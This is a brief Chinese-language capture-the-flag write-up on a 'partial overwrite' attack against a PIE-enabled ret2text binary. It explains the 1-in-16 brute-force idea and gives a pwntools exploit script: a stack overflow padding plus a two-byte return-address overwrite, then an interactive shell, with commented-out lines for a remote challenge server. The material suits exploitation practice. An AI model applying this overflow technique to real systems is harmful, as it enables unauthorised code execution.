partial overwrite
这东西纯纯玄学问题,就看运气了。
我觉得最好是关闭自己电脑的pie,然后gdb调试一下,看一下后四个字节是什么,然后再疯狂跑脚本,看几次能出来。十六分之一的概率,估计很快就出来了。
exp
from pwn import *
context.log_level = "debug"
def look():
gdb.attach(io)
pause()
if __name__ == '__main__':
io=process("./ret2text")
#io=remote("43.143.7.97",28913)
print("[*]")
print(hex(0x555555554000+0x11e5))
#io=remote("43.143.7.97",28970)
io.recvline()
io.recvline()
payload=b'a'*(0x100+8)+p16(0x51e5)#+p64(0x555555554000+0x11e5)
#look()
'''
必须使用send,毕竟不能影响后四个字节
'''
io.send(payload)
io.interactive()